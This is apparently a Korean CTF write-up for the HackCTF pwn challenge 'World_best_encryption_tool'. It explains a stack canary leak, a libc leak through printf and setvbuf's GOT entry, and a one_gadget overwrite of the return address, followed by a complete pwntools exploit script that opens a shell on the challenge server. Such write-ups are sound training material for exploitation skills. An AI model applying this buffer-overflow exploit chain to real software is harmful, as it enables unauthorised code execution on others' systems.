# checksec
# process
1. canary leak
canary leak하는 페이로드는 src에 보낸다.
2. libc leak
출력하는 기능을 하는 함수로 leak을 해야 하는데 printf@plt를 사용해야 제대로 leak이 됐다.
그리고 leak하는 함수는 널 바이트를 포함하지 않는 함수를 사용한다.
setvbuf 함수를 사용하니까 됐다.
libc leak한 것으로 one_gadget 주소를 구하고 src에서 입력할 때 return address를 one gadget으로 덮으면 된다.
마지막에 No를 입력해야 main의 ret으로 뛸 수 있다.
(위에서도 main의 ret으로 뛰기 위해 페이로드 전달 후 No를 입력했었다.그리고 rop 후 main 주소를 줘서 다시 main으로 뛰도록 했다.)
1) canary leak -> return address 덮기 위해
2) libc leak -> rop 진행, No로 main의 ret으로 뛰도록 함. Libc leak 후 다시 main으로 입력받기 위해 main 함수 주소 줌.
3) return address => one gadget ->src에 입력 시 어짜피 xor은 0x31만 하고 scanf 입력받으므로 canary를 주고 retur naddress를 one gadget으로 덮으면 된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
elf = ELF("./World_best_encryption_tool")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p1ret = 0x4008e3
p.sendlineafter("Your text)\n", 'A'*0x38 + 'B')
p.recvuntil('B')
canary = u64("\x00"+ p.recv(7))
log.info("canary : "+hex(canary))
#gdb.attach(p, 'b*main+171')
pay = '\x00'*64 + '\x00'*56 + p64(canary) + 'D'*8 + p64(p1ret) + p64(elf.got['setvbuf']) + p64(elf.plt['printf']) + p64(0x400727)
p.sendlineafter("\nWanna encrypt other text? (Yes/No)\n", 'Yes')
p.sendlineafter("Your text)\n", pay)
p.sendlineafter("\nWanna encrypt other text? (Yes/No)\n", 'No')
setvbuf = u64(p.recv(6)+"\x00\x00")
log.info("setvbuf : "+hex(setvbuf))
libcBase = setvbuf - libc.symbols['setvbuf']
one_gadget = libcBase + 0xf02a4
pay = '\x00'*64 + '\x00'*56 + p64(canary) + 'D'*8 + p64(one_gadget)
p.sendlineafter("Your text)\n", pay)
p.sendlineafter("\nWanna encrypt other text? (Yes/No)\n", 'No')
p.interactive()
# exploit
[HackCTF] j0n9hyun's secret (0) | 2020.03.25 |
---|---|
[HackCTF] Welcome_REV (Reversing) (0) | 2020.03.09 |
[HackCTF] babyheap (0) | 2020.03.09 |
[HackCTF] 풍수지리설 (0) | 2020.02.28 |
[HackCTF] Register (0) | 2020.02.10 |